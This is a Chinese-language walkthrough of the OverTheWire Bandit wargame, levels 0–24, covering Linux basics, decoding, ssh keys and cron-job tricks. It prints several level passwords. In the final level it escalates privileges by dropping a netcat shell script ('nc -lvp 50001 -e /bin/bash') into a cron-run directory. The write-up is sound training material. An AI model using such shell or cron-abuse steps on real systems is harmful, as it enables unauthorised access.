靶场链接:https://overthewire.org/wargames/
过程中大部分不会直接出现通关密码,有可能完结会附在文末
Level 0
游戏的开始,只需要按照主机名和端口号使用ssh链接即可
ssh bandit0@bandit.labs.overthewire.org -p 2220
然后按照提示输入密码登陆成功
Level 0 --> Level 1
题目提示下一级密码存储在readme中
cat readme
即可获得下一级登陆密码
Level 1 --> Level 2
登录bandit1用户
ssh bandit1@bandit.labs.overthewire.org -p 2220
ls发现有一个文件名为"-“的文件
直接 cat - 发现没有任何回显
原因是Linux系统参数很多是”-"开头,系统在等待输入参数
使用文件的绝对路径或者指定当前目录即可顺利读取文件中下一级密码
cat /home/bandit1/-
或
cat ./-
Level 2 --> Level 3
登陆bandit2用户
ssh bandit2@bandit.labs.overthewire.org -p 2220
ls显示文件名为"spaces in this filename"
直接复制文件名cat回显
cat: spaces: No such file or directory
cat: in: No such file or directory
cat: this: No such file or directory
cat: filename: No such file or directory
文件名中带空格识别为多个文件
使用tab按键补全文件名即可获取下一级密码
cat spaces\ in\ this\ filename
Level 3 --> Level 4
登陆bandit3用户
ls 发现目录 “inhere”
ls inhere发现目录中为空
Linux中以"."开头的文件和目录会隐藏
使用
ls -a inhere/
发现文件‘.hidden’
cat inhere/.hidden
获得下一级登录密码
Level 4 --> Level 5
登陆bandit4用户
ls 发现依然是目录’inhere’,目录中有10个文件
根据题目提示文件中仅有一个人类可读使用file配合通配符查看文件类型
bandit4@bandit:~/inhere$ file ./-file0*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data
只有"-file07为"文本,使用cat inhere/-file07
即可获得下一级密码
Level 5 --> Level 6
登录bandit5用户
ls 仍然是“inhere”目录,目录中有很多子目录
题目提示
human-readable
1033 bytes in size
not executable
这里要使用find来根据提示内容查找文件,会使用到几个find参数
-type [bcdpflsD]
-size N[bcwkMG]
-size n :
文件大小 是 n 单位
b 代表 512 位元组的区块
c 表示字元数
k 表示 kilo bytes
w 是二个位元组
-type c :
文件类型是 c 的文件
d: 目录
c: 字型装置文件
b: 区块装置文件
p: 具名贮列
f: 一般文件
l: 符号连结
s: socket
根据以上内容和提示来使用find搜索
bandit5@bandit:~$ find inhere/ -type f -size 1033c
inhere/maybehere07/.file2
回显只有inhere/maybehere07/.file2
符合条件
cat inhere/maybehere07/.file2
获取到下一级密码
Level 6 --> Level 7
登录bandit6用户
ls 发现什么都没有
根据题目提示
owned by user bandit7
owned by group bandit6
33 bytes in size
依然需要构建搜索条件,这里需要用到的find参数
-size N[bcwkMG]
-user NAME
-group GROUPNAME
使用find --help
里我没找到有’-group’参数,但是根据’-user’猜测,验证是有的,使用
find / -user bandit7 -group bandit6 -size 33c
查找符合内容的文件,有很多报错回显应该是因为用户权限不够,其中仅有一条正常回显/var/lib/dpkg/info/bandit7.password即为要找的文件
cat /var/lib/dpkg/info/bandit7.password
获取到下一级的密码
Level 7 --> Level 8
登录bandit7用户
根据提示使用grep命令匹配"millionth"所在行
catcat data.txt |grep millionth
获取到下一级密码
Level 8 --> Level 9
登录bandit8用户
有一个存了1001条密码的文本,提示唯一出现一次的是密码
Linux知识有点不够用了,我选择用脚本完成,我把文本内容复制到了str_key.txt中
def LoadStr(url):
text = open(url)
key = text.read().split("\n")
return key
text.close()
def CompareKey(content):
count = [0 for x in range(0, 1001)]
for i in range(len(content)):
for j in range(len(content)):
# print(content[1])
if content[i] == content[j]:
count[i] = count[i] + 1
else:
j = j + 1
return count
if __name__ == "__main__":
key_url = "/Users/zhaohg/Downloads/str_key.txt"
key_content = LoadStr(key_url)
key_count = CompareKey(key_content)
# print(key_count)
for i in range(len(key_count)):
if key_count[i] == 1:
print(key_content[i])
脚本非常糙就是了。。。运行后出结果
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
Level 9 --> Level 10
登录bandit9用户
还是一个"data.txt"文本,提示密码是人类可读的文本,附近有等号
这里我是直接用了"strings"命令配合"grep",使用
strings data.txt |grep ==
就可以看到下一级密码
Level 10 --> Level 11
登录bandit10用户
"data.txt"里是一个base64编码的文本,使用python解码
import base64
str_b64 = 'VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg=='
str_decode = base64.b64decode(str_b64)
print(str_decode)
执行后得到下一级密码
Level 11 --> Level 12
登录bandit11用户
“data.txt”里是一个rot13转换过的文本,使用tr来替换字符,把a-zA-Z字符右移13位替换
cat data.txt |tr a-zA-Z n-za-mN-ZA-M
执行就可以得到下一级密码
Level 12 --> Level 13
登录bandit12用户
“data.txt”里是一个16进制的文本
我的选择是文本丢进HexFiend里去还原文件


解压就可以看到存有下一级密码的文本
Level 13 --> Level 14
登录bandit13用户
ls看到一个ssl的私钥’sshkey.private’
用这个私钥登录到bandit14用户
ssh bandit14@localhost -i sshkey.private
然后按照题目提示的文件位置查看bandit14用户的密码即可
bandit14@bandit:~$ cat /etc/bandit_pass/bandit14
Level 14 --> Level 15
登录bandit14用户
按照题目提示要给‘localhost’的30000端口提交bandit14用户的密码即可
使用nc命令实现
bandit14@bandit:~$ nc localhost 30000
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
Correct下面就是下一级的密码
Level 15 --> Level 16
登录bandit15用户
和上一级很相似,只是需要用ssl加密的方式来提交bandit15用户的密码
查了一下nc好像不支持ssl连接,但是ncat可以,使用
bandit15@bandit:~$ ncat --ssl localhost 30001
BfMYroe26WYalil77FoDi9qh59eK5xNr
Correct!
同样Correct下就是下一级的密码
Level 16 --> Level 17
登录bandit16用户
提示要再31000-32000端口中找到一个正确的端口用SSL发送bandit16用户的密码,这里使用nmap
bandit16@bandit:~$ nmap localhost -p 31000-32000
Starting Nmap 7.40 ( https://nmap.org ) at 2022-02-08 08:37 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00022s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
31046/tcp open unknown
31518/tcp open unknown
31691/tcp open unknown
31790/tcp open unknown
31960/tcp open unknown
不是很多所以可以用上一级的方法挨个试试
bandit16@bandit:~$ ncat --ssl localhost 31790
cluFn7wTiGryunymYOu4RcffSxQluehd
Correct!
最后返回的是一个ssl的私钥,这个是用来登录下一级用户的凭证
Level 17 --> Level 18
使用私钥登录bandit17用户,这里要先把上一级的私钥存到本地,我这里存为了privatekey
ssh bandit17@bandit.labs.overthewire.org -p 2220 -i privatekey
然后登录失败,报错提示
Permissions 0644 for 'privatekey' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "privatekey": bad permissions
私钥权限可被修改是不被认可的,修改私钥的权限为400即可登录
成功登录后有两个密码文本,按照提示再.new中与.old中不一样的即为下一级用户密码,这里使用diff命令来比较两个文件
bandit17@bandit:~$ diff passwords.new passwords.old
42c42
< kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
---
> w0Yfolrc5bwjS4qw5mq1nnQi6mF03bii
直接获得下一级用户的密码
因为我们登录是用私钥登录的,按照之前的规则,可以使用bandit17用户查看自己的密码方便使用
bandit17@bandit:~$ cat /etc/bandit_pass/bandit17
xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn
Level 18 --> Level 19
登录bandit18用户
发现登录后系统马上回断开连接,题目提示是因为修改来.bashrc,密码放在readme中
这里使用了scp命令来远程把readme复制到本地查看
root@Zhaohg-Server:~# scp -P 2220 bandit18@bandit.labs.overthewire.org:~/readme ~/
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit18@bandit.labs.overthewire.org's password:
readme 100% 33 0.2KB/s 00:00
在本地查看readme文件即可获得密码
Level 19 --> Level 20
登录bandit19用户
ls发现有一个可执行的文件,发现此文件拥有bandit20的操作权限
bandit19@bandit:~$ ./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)
这里就可以用这个命令直接cat下一级用户的密码了
./bandit20-do cat /etc/bandit_pass/bandit20
Level 20 --> Level 21
登录bandit20用户
依然是有一个可执行文件,按照题目是这个程序需要监听一个端口收到bandit20用户的密码即可返回下一级密码
直接建立两个连接登录bandit20用户比较方便操作
在第一个连接使用nc监听一个空闲端口
nc -l localhost -p 50001
然后在第二个连接执行给定的连接程序
./suconnect 50001
此时返回使用nc的连接输入bandit20的密码,就会返回下一级密码
nc的连接回显:
bandit20@bandit:~$ nc -l localhost -p 50001
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
suconnect的连接回显:
bandit20@bandit:~$ ./suconnect 50001
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
Level 21 --> Level 22
登录bandit21用户
题目提示是一个cron定时任务
查看定时任务的配置目录里和bandit22有关的文件
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
发现了执行文件的路径,查看这个.sh文件的内容
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
发现定时任务把bandit22的密码写在了/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
中,并修改权限所有用户对这个文件是可读的
直接cat获得密码
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Level 22 --> Level 23
登录bandit22用户
题目和上一级非常相似,还是查看定时任务
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
还是查看定时任务执行的内容
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
重点是只要得到’mytarget‘的值就可以获得bandit23的密码,已知‘myname’的值是’bandit23’,所以可以直接在本地获得’mytarget‘的值
root@Zhaohg-Server:~# mytarget=$(echo I am user bandit23 | md5sum | cut -d ' ' -f 1)
root@Zhaohg-Server:~# echo $mytarget
8ca319486bfbbc3663ea0fbe81326349
然后直接按照脚本里的路径cat对应位置的密码就可以
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
Level 23 --> Level 24
登录bandit23用户
题目依然是cron
按照上面两关的思路熟练的找到执行文件的位置查看内容
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
发现bandit24目录有可写可执行权限,并且bandit23用户的文件会被定时任务执行
bandit23@bandit:~$ ls -l /var/spool/
total 12
drwxrwx-wx 83 root bandit24 4096 Feb 8 10:02 bandit24
思路就是用bandit23用户上传可执行文件至此目录里,定时任务会用bandit24权限执行,就可以cat /etc/bandit_pass/bandit24中的密码
我试了一下直接cat内容重定向到bandit23家目录权限不够,所以用了反弹shell。
首先向/var/spool/bandit24/
目录里上传nc反弹shell脚本
脚本内容:
#! /bin/bash
nc -lvp 50001 -e /bin/bash
上传命令:
root@Zhaohg-Server:~# scp -P 2220 /root/catkey.sh bandit23@bandit.labs.overthewire.org:/var/spool/bandit24/catkey.sh
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit23@bandit.labs.overthewire.org's password:
catkey.sh 100% 42 0.2KB/s 00:00
然后至bandit23里修改catkey.sh权限为777
chmod 777 /var/spool/bandit24/catkey.sh
等待一会用nc连接反弹shell的50001端口
nc localhost 50001
此时可以发现权限已经是bandit24的权限,并可以获取密码
id
uid=11024(bandit24) gid=11024(bandit24) groups=11024(bandit24)
cat /etc/bandit_pass/bandit24
Level 24 --> Level 25
待更新